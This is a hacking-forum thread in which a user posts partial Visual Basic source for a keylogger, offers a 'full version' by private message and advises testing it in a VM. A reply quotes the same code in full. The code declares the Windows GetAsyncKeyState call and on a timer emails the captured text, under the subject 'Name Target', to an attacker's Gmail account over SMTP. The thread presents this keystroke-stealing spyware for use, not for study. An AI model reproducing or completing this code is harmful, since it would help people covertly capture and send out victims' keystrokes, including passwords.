[legendqueen]

Option Strict On
Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short


Private Sub TimerEmail_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles Timer1.Tick
Try
Dim smtpserver As New SmtpClient
smtpserver.EnableSsl = True
smtpserver.Credentials = New Net.NetworkCredential("your email", "your password email ")
smtpserver.Port = 587
smtpserver.Host = "smtp.gmail.com"
Dim mail As New MailMessage
mail = New MailMessage
mail.From = New MailAddress("your email", "key Logger")
mail.To.Add("your email")
mail.Subject = ("Name Target")
mail.Body = TextBox1.Text
smtpserver.Send(mail)

Catch ex As Exception
Me.Close()
End Try
End Sub

'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'


get full version PM
to test this program you have to make use of VM

[reGEN]

GetAsyncKeyState hmmmmm :thinking_face:

[meganmtouchto]

[quote="legendqueen" pid='848011' dateline='1545558482']
Option Strict On
Imports System.Net.Mail
Public Class Form1
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short


    Private Sub TimerEmail_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles Timer1.Tick
        Try
            Dim smtpserver As New SmtpClient
            smtpserver.EnableSsl = True
            smtpserver.Credentials = New Net.NetworkCredential("your email", "your password email ")
            smtpserver.Port = 587
            smtpserver.Host = "smtp.gmail.com"
            Dim mail As New MailMessage
            mail = New MailMessage
            mail.From = New MailAddress("your email", "key Logger")
            mail.To.Add("your email")
            mail.Subject = ("Name Target")
            mail.Body = TextBox1.Text
            smtpserver.Send(mail)

        Catch ex As Exception
            Me.Close()
        End Try
    End Sub

    'KeyLoGGer By LegeND Queen'  'Kirkuk <3'
    'KeyLoGGer By LegeND Queen'  'Kirkuk <3'
    'KeyLoGGer By LegeND Queen'  'Kirkuk <3'
    'KeyLoGGer By LegeND Queen'  'Kirkuk <3'
    'KeyLoGGer By LegeND Queen'  'Kirkuk <3'
    'KeyLoGGer By LegeND Queen'  'Kirkuk <3'


get full version PM
to test this program you have to make use of VM
[/quote
NEW Key-logging with Visual Basic direct to gmail

[bumbuls6]

The only thing VB has going for it is the basic syntax if you grew on it so it has a sorta nostalgic value ("muh goto").